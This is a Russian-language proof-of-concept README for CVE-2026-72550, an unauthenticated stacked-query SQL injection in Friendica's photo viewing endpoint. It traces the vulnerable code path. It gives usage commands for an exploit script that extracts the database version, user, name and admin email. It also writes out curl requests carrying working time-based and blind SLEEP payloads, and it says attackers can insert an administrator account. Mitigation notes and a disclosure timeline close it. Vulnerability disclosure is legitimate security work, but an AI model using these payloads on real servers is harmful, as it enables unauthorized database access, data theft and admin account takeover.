
CVE-2026-72550 — PoC неаутентифицированной SQL-инъекции Stacked-Query в Friendica (CVSS 9.8, критический уровень)
| Поле | Значение |
|---|
| CVE ID | CVE-2026-72550 |
| Продукт | Friendica (федеративная социальная сеть, размещаемая на собственном сервере) |
| Затронутые версии | <= 2026.08-dev (git HEAD e3fc1bc) |
| Тип | CWE-89: SQL-инъекция (неаутентифицированная, пакетные запросы) |
| Критичность | Критическая — CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Требуется аутентификация | Нет |
Endpoint просмотра фотографий в Friendica принимает параметр запроса order и без экранирования конкатенирует его в выражение SHOW COLUMNS ... LIKE '...', которое выполняется через «голый» PDO::query() — а это допускает выполнение нескольких выражений. Вход в систему не требуется, а в стандартной установке (block_public отключён по умолчанию) достаточно любой публично видимой фотографии. Поскольку PDO::query() выполняет несколько выражений подряд (stacked statements), анонимный атакующий не просто читает данные — он выполняет произвольный SQL, включая INSERT/UPDATE для создания учётной записи администратора.
mod/photos.php:673 — читает «сырое» значение $_GET['order']
DBStructure::existsColumn() — конкатенирует в: SHOW COLUMNS FROM `photo` LIKE '$column'
src/Database/DBStructure.php:714
DBA::p() → PDO::query() — выполняет запрос с включённой поддержкой пакетных выражений
Путь запроса по умолчанию достигает этого кода: $cmd по умолчанию равен 'view' (что удовлетворяет проверке $cmd === 'view'), а no_count выключен, поэтому аутентификация и какие-либо нестандартные настройки не требуются.
# Установка зависимости
pip install requests
# Проверка, уязвима ли цель (обнаружение по времени)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --check-only
# Извлечение версии БД через слепую SQL-инъекцию (blind SQLi)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract version
# Извлечение текущего пользователя БД
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_user
# Извлечение имени текущей БД
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_name
# Извлечение email первого администратора
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract admin_email
| Флаг | Описание |
|---|---|
-u / --url | Базовый URL цели (например, http://target:8176) |
-r / --user | Имя пользователя, чью фотогалерею атаковать |
-i / --resource-id | Resource ID любой публично видимой фотографии |
--extract | Извлекаемое значение: version, db_user, db_name, admin_email |
--check-only | Только проверить уязвимость, не извлекать данные |
--sleep | Задержка SLEEP в секундах (по умолчанию: 5) |
Куки и аутентификация не нужны. Достаточно указать resource-id любой публичной фотографии:
# Контроль — корректный order, быстрый ответ (~0.05s)
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=created"
# Инъекция — выполняется пакетный запрос SLEEP(5), ответ задерживается ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20SLEEP(5)--%20-"
Декодированная нагрузка: x';SELECT SLEEP(5)-- -
Внедрённый SQL принимает вид:
SHOW COLUMNS FROM `photo` LIKE 'x';SELECT SLEEP(5)-- -'
# Истинное условие (@@version начинается с '1') → задержка ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%271%27,SLEEP(5),0)--%20-"
# Ложное условие (@@version начинается с '9') → быстрый ответ
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%279%27,SLEEP(5),0)--%20-"
Неаутентифицированный атакующий может:
INSERT INTO userЭто полная компрометация базы данных, доступная любому анонимному посетителю стандартной установки Friendica.
order с белым списком известных столбцов перед использованиемSHOW COLUMNSPDO::ATTR_EMULATE_PREPARES => false)| Дата | Событие |
|---|---|
| 2026-07-07 | Уязвимость обнаружена и подтверждена на локальном экземпляре |
| 2026-08-11 | CVE-2026-72550 опубликован через CNA TuranSec |
Данный инструмент предоставляется исключительно для авторизованного тестирования безопасности и в образовательных целях. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Автор не несёт ответственности за неправомерное использование.
Обнаружено Бобуром Абдугаффоровым (@abdugafforov-bobur)
CVE присвоен через CNA TuranSec